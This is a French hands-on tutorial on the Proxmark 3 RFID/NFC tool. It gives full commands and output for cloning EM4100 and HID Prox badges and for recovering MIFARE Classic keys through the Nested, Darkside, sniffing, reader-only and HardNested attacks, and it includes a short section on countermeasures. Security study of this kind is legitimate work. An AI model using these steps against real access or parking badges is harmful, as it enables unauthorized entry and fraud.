Découvrons le fonctionnement du Proxmark 3, un des meilleurs outils concernant les technologies RFID, aussi bien du point de vue matériel que logiciel.
Cet article présente quelques travaux pratiques avec le Proxmark 3 et divers badges RFID/NFC. Nous nous focaliserons sur les techniques de récupération d’informations contenues dans ces badges.
1. Quelques généralités sur la RFID et la NFC
Fig. 1 : Un tag RFID fonctionnant à 125 kHz, norme EM4001.
La technologie RFID ou encore NFC est très démocratisée dans les applications de tous les jours allant du badge d’accès jusqu’au paiement sans contact. C’est aussi un très bon moyen de faire de la traçabilité des marchandises dans le milieu de l’industrie.
RFID signifie Radio Frequency Identification. Il s’agit d’échanger des données par le biais des ondes radio ; on supprime donc le contact électrique ou électromagnétique des cartes à puces ou des bandes magnétiques.
Un système complet RFID est composé d’un tag et d’un lecteur muni d’une antenne et effectuant la modulation et la démodulation du signal. Le tag est lui même composé d’une antenne et d’un microcontrôleur pour assurer les mêmes fonctions que le lecteur.
Pour les formes de tag les plus élémentaires, un lecteur envoie un signal radio au tag via son antenne et le tag répond par les informations qu’il contient.
La mise en proximité des deux antennes permet l’échange d’énergie électrique par le phénomène d’induction électromagnétique, ce qui alimente notre tag sans contact direct. Le lecteur et le tag répondent en modulant respectivement l’énergie envoyée et la consommation d’énergie.
Un tag est dit passif quand il est dépendant d’une antenne émettrice pour s’alimenter.
Un tag est dit actif quand il possède sa propre source d’alimentation, ce qui autorise un champ d’action plus large comme par exemple dans le cas des badges d’autoroute.
La RFID repose principalement sur trois fréquences radio :
- basse fréquence (LF) 125-134 kHz ;
- haute fréquence (HF) 13.56 MHz ;
- ultra haute fréquence (UHF) 856 -960 MHz.
Fig. 2 : Un tag RFID type MIFARE Classic, sous la forme d’un porte-clés.
NFC signifie Near Field Communication ou Communication en champ proche. La NFC repose sur les mêmes principes que la RFID tout en rendant possible la communication entre deux lecteurs. Fonctionnant à haute fréquence (13,56 MHz), elle assure aussi une rétrocompatibilité avec certaines normes de tags RFID telles que ISO14443, ISO15693 et FeliCa. En outre, la plupart des lecteurs NFC sont capables d’émuler certains de ces tags.
2. Le Proxmark 3
2.1 Présentation
Le Proxmark 3 [PM] est un outil électronique conçu initialement par Jonathan Westhues en 2007 dans le but d’analyser, d’écouter et d’émuler de nombreux tags RFID/NFC. Il a depuis été repris par la communauté du libre qui en a largement étendu les fonctionnalités logicielles. Son design est sobre et léger, quasiment de la même taille qu’une carte à puce. Il est conçu pour opérer sur les basses fréquences et les hautes fréquences (125 kHz et 13,56 MHz).
Fig. 3 : Un Proxmark 3 V2 fabriqué par ElecHouse, sujet de l’article.
Cet outil est open source, c’est la raison pour laquelle on peut trouver diverses variantes du produit, avec des améliorations sur la réception radio, une taille plus petite, une batterie 3,3V, des PCB de protection...
2.2 Côté hardware
Pour ces travaux pratiques, je me suis équipé d’un modèle Proxmark 3 V2 de chez ElecHouse. Cette version apporte des améliorations sur l’objet : les connectiques et les antennes sont meilleures que sur la V1.
Le Proxmark 3 embarque :
- un FPGA de type Xilinx Spartan-II. Il s’agit d’un circuit logique programmable utilisé pour la modulation et la démodulation radio HF, des opérations trop rapides pour le CPU ;
- un CPU ARM de chez Atmel, 256kB ou 512kB de mémoire flash selon les variantes 1 ou 2. Soit respectivement un AT91SAM7S256 ou un AT91SAM7S512, et 64kB de RAM ;
- 2 circuits radio indépendants, pour la haute et la basse fréquence ;
- un port micro USB ;
- une batterie 3,3V pour fonctionner sans l’application cliente du PC ;
- un bouton poussoir et des diodes lumineuses.
De plus le package inclut divers tags RFID (MIFARE, EM4100, T5577…). On va garder sous la main le tag type T5577, qui est spécialement conçu pour être programmé et pour émuler divers protocoles RFID LF.
2.3 Côté software
Il y a deux firmwares : un pour le FPGA, et un pour l’Atmel. Tout est disponible sur le GitHub du projet [GITPM].
Le projet étant ouvert, de nombreux forks ont vu le jour sur GitHub. Ces projets sont compatibles avec tous les OS du marché.
2.4 Lancement du client
On présume avoir une configuration fonctionnelle, ce qui s’obtient facilement sur une distribution GNU/Linux Arch.
On va donc récupérer les sources complètes du projet et compiler le client avec les commandes git clone, et make :
$ git clone https://github.com/Proxmark/proxmark3
$ cd proxmark3/client
$ make
$ ./proxmark3 /dev/ttyACM0
Prox/RFID mark3 RFID instrument
bootrom: official/v3.0.1-75-g1dae9811-suspect 2017-08-31 14:23:07
os: official/v3.0.1-75-g1dae9811-suspect 2017-08-31 14:23:08
LF FPGA image built for 2s30vq100 on 2015/03/06 at 07:38:04
HF FPGA image built for 2s30vq100 on 2017/07/13 at 08:44:13
uC: AT91SAM7S512 Rev B
Embedded Processor: ARM7TDMI
Nonvolatile Program Memory Size: 512K bytes. Used: 197774 bytes (38%). Free: 326514 bytes (62%).
Second Nonvolatile Program Memory Size: None
Internal SRAM Size: 64K bytes
Architecture Identifier: AT91SAM7Sxx Series
Nonvolatile Program Memory Type: Embedded Flash Memory
proxmark3>
Nous voici face à un terminal où l’on voit les versions des firmwares et la mémoire disponible sur l’appareil. La commande help nous donne un peu plus d’informations pour savoir par où commencer nos manipulations.
Il existe trois commandes principales :
- hw : pour l’envoi de commandes hardware au Proxmark 3 ;
- lf et hf : pour manipuler la basse et la haute fréquence.
Tentons de détecter la fréquence de fonctionnement d’un tag inconnu. Il existe une fonction dans le Proxmark 3 qui mesure la chute de tension induite dans l’antenne lorsqu’un tag s’alimente.
La commande hw tune renseigne les tensions présentes dans les deux antennes (basse et haute fréquences). Si nous lançons le client avec le support Qt5, la commande tracera également une courbe de tension de l’antenne basse fréquence en fonction de la fréquence utilisée, montrant ainsi à quelle fréquence l’antenne LF fonctionne de manière optimale.
Si on mesure les tensions présentes avant et après l’approche du tag sur les antennes haute et basse fréquences, on observera une chute importante de la tension à la fréquence de fonctionnement du tag.
proxmark3> hw tune l
Measuring antenna characteristics, please wait........
# LF antenna: 45.51 V @ 125.00 kHz
# LF antenna: 23.10 V @ 134.00 kHz
# LF optimal: 45.51 V @ 125.00 kHz
Displaying LF tuning graph. Divisor 89 is 134khz, 95 is 125khz.
Dans cet exemple, le hw tune est lancé sans carte, la tension induite est de 45,51 V.
proxmark3> hw tune l
Measuring antenna characteristics, please wait........
# LF antenna: 26.81 V @ 125.00 kHz
# LF antenna: 30.80 V @ 134.00 kHz
# LF optimal: 34.65 V @ 130.43 kHz
Displaying LF tuning graph. Divisor 89 is 134khz, 95 is 125khz.
Même opération avec une carte à proximité de l’antenne : on voit que la tension a chuté à 26,81 V lorsque l’antenne basse fréquence fonctionnait à 125 kHz. Dans le cas présent, nous constatons donc que le tag inconnu fonctionne à 125 kHz.
Fig. 4 : Courbe de tension de l’antenne basse fréquence.
3. Badges fonctionnant à 125 kHz
Nous allons mettre en pratique la lecture et l’écriture de données sur les tags basse fréquence.
3.1 EM4100
Créés par la société EM Microelectronics, ces tags fonctionnent aux basses fréquences. Ces puces embarquent 64 bits de mémoire en lecture seule. De ce fait, on peut donc lire la puce, mais on ne pourra pas modifier son contenu.
La commande lf em nous donne l’aide des fonctions disponibles pour les tags type EM4xxx.
Utilisons la commande lf search pour tenter de détecter notre tag :
pm3 --> lf search
Checking for known tags:
EM410x pattern found:
EM TAG ID : 1200103C5E
Possible de-scramble patterns
Unique TAG ID : 4800083C7A
HoneyWell IdentKey {
DEZ 8 : 01064030
DEZ 10 : 0001064030
DEZ 5.5 : 00016.15454
DEZ 3.5A : 018.15454
DEZ 3.5B : 000.15454
DEZ 3.5C : 016.15454
DEZ 14/IK2 : 00077310475358
DEZ 15/IK3 : 000309238185082
DEZ 20/ZK : 04080000000803120710
}
Other : 15454_016_01064030
Pattern Paxton : 304380510 [0x12247A5E]
Pattern 1 : 4216188 [0x40557C]
Pattern Sebury : 15454 16 1064030 [0x3C5E 0x10 0x103C5E]
Valid EM410x ID Found!
La lecture nous confirme qu’il s’agit d’un tag type EM410x et que son TAG ID est (sous la forme hexadécimale) 1200103C5E. Le TAG ID est souvent inscrit de manière lisible sur le tag, mais sous des formes encodées variées.
Comme la photo en figure 1 le montre, notre tag est sérigraphié avec le numéro 0001064030 et on retrouve effectivement ce numéro parmi les encodages énumérés par la commande précédente.
Sachant que ce tag est unique, nous allons en faire une copie avec un tag de type T5577.
Ces derniers émulent les protocoles de certaines familles de tags, entre autres les ProxCard II, EM4100 et Indala.
Nous allons cloner notre tag EM4100 vers le T5577 avec le Proxmark 3 et dans la foulée vérifier que le TAG ID est bien répliqué sur le nouveau tag. Nous utiliserons les commandes lf em 410xwrite et lf em 410xread.
Plaçons notre tag sur l’antenne basse fréquence du Proxmark 3.
proxmark3> lf em 410xwrite 1200103C5E 1
Writing T55x7 tag with UID 0x1200103c5e (clock rate: 64)
#db# Started writing T55x7 tag ...
#db# Clock rate: 64
#db# Tag T55x7 written with 0xff8ca000c06c2bac
proxmark3> lf em 410xread
#db# EM TAG ID: 1200103c5e - (15454_016_01064030)
#db# EM TAG ID: 1200103c5e - (15454_016_01064030)
(on presse le bouton du Proxmark pour interrompre la lecture en boucle)
Le Proxmark 3 permet aussi d’émuler directement un tag EM4100 avec un TAG ID 0123456789. Pour cela, on va utiliser la commande lf em 410xsim 0123456789 :
proxmark3> lf em 410xsim 0123456789
Starting simulating UID 0123456789 clock: 64
Press pm3-button to about simulation
Sending [4096 bytes]........
Starting to simulate
3.2 Les cartes ProxCard II
Ces cartes répondent également à la fréquence de 125 kHz et servent principalement à faire du contrôle d’accès. Créées par la société HID, ce sont les entrées de gamme de ce fabricant.
Comme pour les EM4100, nous allons utiliser la fonction recherche du Proxmark 3 :
proxmark3> lf search
Checking for known tags:
HID Prox TAG ID: 2006ec0cb5 (1626) - Format Len: 26bit - FC: 118 - Card: 1626
Valid HID Prox ID Found!
Exactement de la même façon qu’avec les tags EM4100, nous pouvons cloner cette carte avec un badge type T5577 et les commandes lf hid clone 2006ec0cb5, ou alors émuler le tag avec la commande lf hid sim 2006ec0cb5.
3.3 Contremesures
Les technologies ci-dessus sont anciennes et les données contenues ne sont pas protégées. En présence d’un tel tag, nous pouvons le lire et l’émuler ou le dupliquer sur un autre équipement.
De ce fait, il est conseillé de s’orienter vers des gammes de badges qui intègrent des mémoires lisibles et inscriptibles, afin d’y stocker plus d’informations, et surtout des mécanismes de protection et de chiffrement. C’est ce que les badges de la famille MIFARE proposent a priori.
4. MIFARE Classic
4.1 Présentation, organisation mémoire et faiblesses
Créées par la société NXP Semiconductors, les cartes MIFARE Classic reposent sur la norme ISO 14443 A et fonctionnent à haute fréquence, c’est-à-dire à 13,56 MHz. Ici, nous mettrons en œuvre une attaque connue depuis 2008 qui s’appuie sur des faiblesses liées au hardware et au protocole de chiffrement de ces cartes, appelé CRYPTO1 et développé de manière propriétaire par NXP. Une explication détaillée de ces faiblesses est donnée dans l’article académique [HNMFC] section 4.2.
La MIFARE Classic en version 1kB a une mémoire dont l’organisation est définie dans la figure suivante :
Fig 5 : Organisation mémoire d’un tag MIFARE Classic.
On remarquera que le bloc 0 du secteur 0 est prédéfini lors de sa construction et n’est donc pas modifiable. On retrouve dans cette zone mémoire un UID codé sur 4 bytes pour identifier la carte de manière unique. À vrai dire, à l’instar des adresses IPv4, les UID de 4 bytes sont aujourd’hui épuisées et les nouvelles cartes MIFARE Classic sont proposées avec des UID de 7 bytes ou des NUID (Non-Unique ID) de 4 bytes.
La mémoire est divisée en secteurs et chaque secteur est composé de blocs. Au total, cela fait 16 secteurs contenant 4 blocs de 16 octets chacun.
Seuls les 3 premiers blocs de chaque secteur sont disponibles pour le stockage de données.
Le dernier bloc nommé Sector Trailer contient deux clés de sécurité A et B et des bits d’accès qui déterminent les droits sur les blocs de chaque secteur. Ces droits peuvent être la lecture, l’écriture, l’incrémentation et décrémentation, le transfert, et la restauration d’un bloc.
Pour accéder à une zone mémoire, il faut s’être authentifié auprès du tag. C’est à ce moment qu’interviennent les clés A et B. Ce sont ces clés qui vont nous permettre de nous authentifier pour accéder aux données et de chiffrer les communications.
Mettons en pratique les attaques liées aux faiblesses mentionnées en introduction grâce au Proxmark 3.
4.2 L’attaque Nested
Nous sommes en possession d’un badge d’accès crédité de 10 passages.
Analysons-le avec la commande hf search :
proxmark3> hf search
UID : 63 39 8e e5
ATQA : 00 04
SAK : 08 [2]
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1
proprietary non iso14443-4 card found, RATS not supported
Answers to chinese magic backdoor commands: NO
Valid ISO14443A Tag Found - Quiting Search
Dans un premier temps, nous allons tester les clés A et B par défaut sur notre tag avec la commande hf mf chk. Le Proxmark va tenter de s’authentifier sur tous les secteurs avec des clés par défaut.
proxmark3> hf mf chk 1 ? t
No key specified, trying default keys
chk default key[ 0] ffffffffffff
...
chk default key[11] 533cb6c723f6
chk default key[12] 8fd0a4f256e9
--sector: 0, block: 1, key type:A, key count:13
Found valid key:[a0a1a2a3a4a5]
--sector: 0, block: 1, key type:B, key count:13
Found valid key:[b0b1b2b3b4b5]
Found keys have been transferred to the emulator memory
La commande nous retourne que la clé A du bloc 1 est a0a1a2a3a4a5 et que la clé B du bloc 1 est b0b1b2b3b4b5. Ici, le tag possède des zones avec des clés génériques. Il s’agit très probablement d’un espace mémoire inutilisé laissé libre par les administrateurs de l’application. À cause de cette omission, l’attaque Nested devient envisageable, car nous avons besoin de pouvoir nous authentifier avec succès sur un secteur pour continuer la manipulation (d’où le nom Nested pour Nested Authentication).
Dans le cas où aucune clé par défaut ne serait découverte, d’autres attaques sont envisageables. Notamment, il est encore possible d’en récupérer une en écoutant une communication entre le tag et un lecteur légitime et en cassant le protocole CRYPTO1. Proxmark 3 le permet comme nous le verrons plus loin.
Lançons la commande hf mf nested 1 0 A a0a1a2a3a4a5 t.
L’argument 1 force l’utilisation d’un tag MIFARE 1k, les arguments 0, A, a0a1a2a3a4a5 indiquent la zone d’authentification sur le bloc 0 avec la clé A renseignée et enfin t garde en mémoire les clés trouvées.
proxmark3> hf mf nested 1 0 A a0a1a2a3a4a5 t
Testing known keys. Sector count=16
nested...
-----------------------------------------------
uid:9c8acd6e trgbl=4 trgkey=1
Found valid key:18e2bc07fa1b
-----------------------------------------------
uid:9c8acd6e trgbl=8 trgkey=1
Found valid key:d631d4048e6a
-----------------------------------------------
uid:9c8acd6e trgbl=12 trgkey=1
Found valid key:6ca0e8ad0e65
Time in nested: 2.543 (0.848 sec per key)
-----------------------------------------------
Iterations count: 3
|---|----------------|---|----------------|---|
|sec|key A |res|key B |res|
|---|----------------|---|----------------|---|
|000| a0a1a2a3a4a5 | 1 | b0b1b2b3b4b5 | 1 |
|001| a0a1a2a3a4a5 | 1 | 18e2bc07fa1b | 1 |
|002| a0a1a2a3a4a5 | 1 | d631d4048e6a | 1 |
|003| a0a1a2a3a4a5 | 1 | 6ca0e8ad0e65 | 1 |
|004| a0a1a2a3a4a5 | 1 | b0b1b2b3b4b5 | 1 |
...
|015| a0a1a2a3a4a5 | 1 | b0b1b2b3b4b5 | 1 |
|---|----------------|---|----------------|---|
L’attaque semble avoir bien fonctionné et nous avons retrouvé 3 clés de type B qui nous étaient inconnues.
Nous allons extraire tout le contenu du tag dans un fichier binaire avec la commande hf mf dump et exporter les résultats au format HTML avec la commande script run htmldump.
Si l’intégralité des clés avait été diversifiée ou si le tag MIFARE était plus récent, alors l’attaque Nested aurait échoué. En effet, NXP a corrigé une série de défauts utilisés dans l’attaque Nested dont un PRNG (Pseudo-Random Number Generator) de piètre qualité. La section 4.3 de [HNMFC] contient tous les détails utiles.
4.3 L’attaque Darkside
Les manipulations ci-dessus n’ont été possibles que parce que nous avons découvert une clé par défaut omise par les administrateurs des équipements.
L’attaque dite Darkside ou de Courtois, du nom de son découvreur Nicolas Courtois, va tenter de retrouver une clé configurée dans un tag en exploitant un défaut dans l’initialisation du générateur de nombres aléatoires du microcontrôleur du tag (le générateur commence toujours par la même valeur lorsque la carte est alimentée, donc si on contrôle finement le timing, on prédit le nombre aléatoire tiré par le tag). Dès qu’une première clé est découverte, il sera alors possible de passer à l’attaque Nested.
On pourra lancer l’attaque avec la commande hf mf mifare.
Ici aussi, si le tag MIFARE est trop récent, l’attaque échouera et on devra recourir à d’autres types d’attaques.
4.4 L’attaque Man-in-the-Middle
Pour cette manipulation, nous allons utiliser une carte de parking qui a résisté aux attaques Darkside et Nested. Nous ne possédons donc aucune information pour en extraire le contenu. Une attaque Man-in-the-Middle va résoudre notre problème. Contrairement aux deux attaques précédentes dites Card-Only, cette attaque nécessite d’avoir accès à la fois à la carte et au lecteur légitime, détenteur des clés.
Nous utiliserons le Proxmark 3 en tant qu’antenne radio afin d’intercepter et de démoduler les signaux échangés entre une borne et notre badge de parking. Sachant que le tag répond à la norme ISO14443A et qu’il s’agit d’un MIFARE Classic, nous configurons le Proxmark 3 en mode snoop et plaçons l’antenne haute fréquence entre la borne et le tag.
Pour ce faire, nous utilisons la commande hf 14a snoop. Dès cet instant, toutes les communications seront enregistrées dans le Proxmark 3. Une fois que la borne de parking a lu le tag, on arrête l’enregistrement de la communication par un appui sur le bouton du Proxmark 3 (qui sert en général à stopper toute action en boucle).
Extrayons les données écoutées par la commande hf list 14a :
proxmark3> hf list 14a
Recorded Activity (TraceLen = 2353 bytes)
Start = Start of Start Bit, End = End of last modulation. Src = Source of Transfer
iso14443a - All times are in carrier periods (1/13.56Mhz)
iClass - Timings are not as accurate
085552 | 088016 | Rdr | 93 20 | | ANTICOLL
089220 | 095108 | Tag | 4d xx xx xx d3 | |
114608 | 125072 | Rdr | 93 70 4d xx xx xx d3 4f 8d | ok | SELECT_UID
126340 | 129860 | Tag | 08 b6 dd | |
160560 | 165264 | Rdr | 60 00 f5 7b | ok | AUTH-A(0)
167300 | 171972 | Tag | e9 ba d9 2e | |
182960 | 192272 | Rdr |5d! 1b! 46 53! 10 32 98 f4! | !crc| ?
218928 | 219920 | Rdr | 52 | | WUPA
221188 | 223556 | Tag | 04 00 | |
240688 | 251152 | Rdr | 93 70 4d xx xx xx d3 4f 8d | ok | SELECT_UID
252420 | 255940 | Tag | 08 b6 dd | |
286256 | 290960 | Rdr | 60 00 f5 7b | ok | AUTH-A(0)
292996 | 297732 | Tag | 02 98 c2 79 | |
308656 | 318032 | Rdr |e3! d5 b5 62! 7f! 3c! c1! bb! | !crc| ?
319236 | 323908 | Tag | ae 17! da aa | |
338608 | 343376 | Rdr |da! 8e 79 cf! | !crc| ?
451136 | 452128 | Rdr | 52 | | WUPA
453396 | 455764 | Tag | 04 00 | |
472896 | 483360 | Rdr | 93 70 4d xx xx xx d3 4f 8d | ok | SELECT_UID
484628 | 488148 | Tag | 08 b6 dd | |
518336 | 523040 | Rdr | 60 00 f5 7b | ok | AUTH-A(0)
525076 | 529748 | Tag | 61 7a 66 18 | |
540608 | 549920 | Rdr |50! 87! 8e ab 3b! 49 5a 1b | !crc| HALT
551188 | 555860 | Tag |d6! 53! 7c 57! | |
571840 | 576544 | Rdr | 99 92! dc! f7! | !crc| ?
577940 | 598740 | Tag |d2! 25 74 86 10! 8b ac! 9c 8a 04! 2b! ee! 03 2b! 86! 47! | |
| | | 93 6e! | !crc|
On retrouve au temps 089220 l’UID du tag (les « xx » sont bien entendu des bytes masqués volontairement). On voit aussi des tentatives d’authentification avec la clé A sur le bloc 0 à partir du temps 160560. C’est grâce à ces données que nous pouvons utiliser l’attaque appelée Crapto1 qui est une implémentation des recherches autour de CRYPTO1, le protocole de chiffrement propriétaire des MIFARE, cf. [CRAPTO1].
On trouvera dans le dossier tools/mfkey du dépôt Git cloné les sources de l’outil qui va retrouver la clé utilisée dans l’échange intercepté.
cd tools/mfkey
make
./mfkey64
MIFARE Classic key recovery - based on 64 bits of keystream
Recover key from only one complete authentication!
syntax: ./mfkey64 <uid> <nt> <{nr}> <{ar}> <{at}> [enc] [enc…]
./mfkey64 xxxxxxxx 3b45a45a 7ddb6646 142fc1b9 9195fb3f
Recovering key for:
uid: xxxxxxxx
nt: 3b45a4xx
{nr}: 7ddb66xx
{ar}: 142fc1xx
{at}: 9195fbxx
LFSR succesors of the tag challenge:
nt': eb1963xx
nt'': d4bc9dxx
Keystream used to generate {ar} and {at}:
ks2: ff36a2xx
ks3: 452966xx
Found Key: [xxxxxxxxxxxxx]
La clé qui a servi à la borne à s’authentifier auprès du tag sur le bloc utile de l’application a bien été cassée et on peut tenter à nouveau l’attaque Nested, ou se contenter du secteur en question.
4.5 L’attaque Reader-Only
Il existe également une attaque dite Reader-Only qui ne nécessite pas d’accès à la carte, mais uniquement au lecteur légitime et où le simple fait d’émuler une carte, sans connaître les clés correctes, et d’écouter les tentatives de la borne, est suffisant pour casser la clé utilisée.
Le Proxmark 3 va émuler un tag MIFARE Classic et récupérer l’échange de communication avec le lecteur. Notre carte virtuelle aura pour UID DEADBEEF et nous allons la présenter au lecteur.
La commande hf mf sim u DEADBEEF n 1 x active l’émulation MIFARE Classic avec l’UID de notre choix.
Il faut deux tentatives d’authentification de la part du lecteur pour avoir des données valides, donc en pratique il faut toucher deux fois le lecteur s’il ne réessaye pas de lui-même.
proxmark3> hf mf sim u deadbeef n 1 x
mf 1k sim uid: de ad be ef , numreads:0, flags:18 (0x12)
#db# Collected two pairs of AR/NR which can be used to extract keyA from reader for sector 1:
#db# ../tools/mfkey/mfkey32 deadbeef 0102xxxx 4d9axxxx 87e7xxxx 06d2xxxx b4a0xxxx
#db# Emulator stopped. Tracing: 1 trace length: 253
#db# 4B UID: deadbeef
Comme pour l’attaque MITM vue plus haut, les échanges de données entre le lecteur et la carte émulée sont enregistrés. Dans ce cas-ci, le Proxmark suggère directement la commande à lancer pour casser la clé avec les arguments corrects, tirés des données échangées avec le lecteur.
Nous utilisons donc l’application mfkey avec les arguments proposés :
../tools/mfkey/mfkey32 deadbeef 0102xxxx 4d9axxxx 87e7xxxx 06d2xxxx b4a0xxxx
MIFARE Classic key recovery - based on 32 bits of keystream
Recover key from two 32-bit reader authentication answers only!
Recovering key for:
uid: deadbeef
nt0: 0102xxxx
{nr_0}: 4d9axxxx
{ar_0}: 87e7xxxx
nt1: 0102xxxx
{nr_1}: 06d2xxxx
{ar_1}: b4a0xxxx
LFSR succesors of the tag challenge:
nt': 20f8xxxx
nt'': 3c2bxxxx
Keystream used to generate {ar} and {at}:
ks2: a71fxxxx
Recovered key: dbab539dxxxx
Time spent: 0.42 seconds
La clé utilisée par le lecteur dans sa tentative d’authentification auprès d’un bloc mémoire est cassée.
Notons que les clés sont souvent diversifiées sur chaque carte et il est donc important de bien choisir l’UID à émuler.
4.6 L’attaque HardNested
Les tags MIFARE Classic récents ainsi que les MIFARE Plus SL1 sont plus robustes, car le générateur de nombres aléatoires et d’autres défauts ont été corrigés. Mais ce ne sont pas les attaques contre la MIFARE qui manquent et une nouvelle attaque du type Card-Only existe, détaillée dans la section 5 de [HNMFC] et appelée HardNested (pour Nested sur les cartes Hardened, durcies). Depuis la version 3.0.1 de Proxmark 3, l’attaque HardNested est disponible dans le dépôt principal.
Cette attaque va retrouver une clé dans les mêmes conditions que l’attaque Nested, mais sur un tag récent, MIFARE Classic New Generation ou MIFARE Plus SL1.
On lancera l’attaque avec la commande hf mf hardnested 4 B xxxxxxxxxxxxx 0 B.
Les arguments 4, B et xxxxxxxxxxxxx correspondent à une clé connue de notre badge, 0 et B la zone protégée par la clé B que l’on souhaite retrouver.
Cette attaque met 10 minutes maximum pour aboutir à un résultat.
proxmark3> hf mf hardnested 4 B xxxxxxxxxxxx 0 B
--target block no: 1, target key type:A, known target key: 0x000000000000 (not set), file action: none, Slow: Yes, Tests: 0
time | #nonces | Activity | expected to brute force
| | | #states | time
------------------------------------------------------------------------------------------------------
0 | 0 | Start using 8 threads and AVX2 SIMD core | |
0 | 0 | Brute force benchmark: 1138 million (2^30.1) keys/s | 140737488355328 | 34h
0 | 0 | Using 235 precalculated bitflip state tables | 140737488355328 | 34h
4 | 112 | Apply bit flip properties | 65730387968 | 58s
5 | 224 | Apply bit flip properties | 56562778112 | 50s
6 | 336 | Apply bit flip properties | 33388849152 | 29s
...
22 | 2200 | Apply Sum property. Sum(a0) = 136 | 1055636160 | 1s
22 | 2307 | Apply bit flip properties | 876277952 | 1s
23 | 2416 | Apply bit flip properties | 582375936 | 1s
23 | 2525 | Apply bit flip properties | 582375936 | 1s
24 | 2525 | (1. guess: Sum(a8) = 0) | 582375936 | 1s
25 | 2525 | Apply Sum(a8) and all bytes bitflip properties | 237334352 | 0s
25 | 2525 | Brute force phase completed. Key found: 4fxxxxxxxxf1 | 0 | 0s
La zone 0 a pour clé B 4fxxxxxxxxf1.
Si la carte est récente et que les clés sont diversifiées, notre tentative échouera et il n’y a pas d’équivalent à l’attaque DarkSide. Les attaques Card-Only ne sont donc pas applicables et il faut recourir aux attaques Man-in-the-Middle et Reader-Only mentionnées plus haut.
Conclusion
Nous avons vu plusieurs cas d’attaques possibles sur des tags RFID très largement répandus dans le monde. Le lecteur constatera que des tags d’ancienne technologie sont toujours disponibles à la vente et encore largement en circulation.
Il existe d’autres protocoles MIFARE, plus sécurisés dans leurs échanges comme ceux des MIFARE Plus SL2 et SL3 qui implémentent la méthode de chiffrement AES 128-bit et MIFARE DESFire qui implémente du 3DES et de l’AES.
Proxmark 3 nous a permis d’interagir avec les ondes radio des technologies RFID/NFC. En plus de supporter de très nombreux protocoles dont nous n’avons abordé que quelques-uns, il est capable d’enregistrer des trames brutes de tags inconnus pour étudier le protocole et, qui sait, proposer votre propre code à la communauté du Proxmark 3.
Je tiens à remercier Philippe Teuwen, pour sa précieuse aide technique et sa patience durant la relecture de cet article.
Bon amusement à tous.
Références
[PM] Site officiel du projet Proxmark : http://www.proxmark.org/
[GITPM] Dépot Git officiel du projet Proxmark : https://github.com/Proxmark/proxmark3
[HNMFC] Cryptanalysis on Hardened Mifare Classic Cards : http://www.cs.ru.nl/~rverdult/Ciphertext-only_Cryptanalysis_on_Hardened_Mifare_Classic_Cards-CCS_2015.pdf
[CRAPTO1] Security flaw in Mifare Classic : http://www.ru.nl/ds/research/rfid/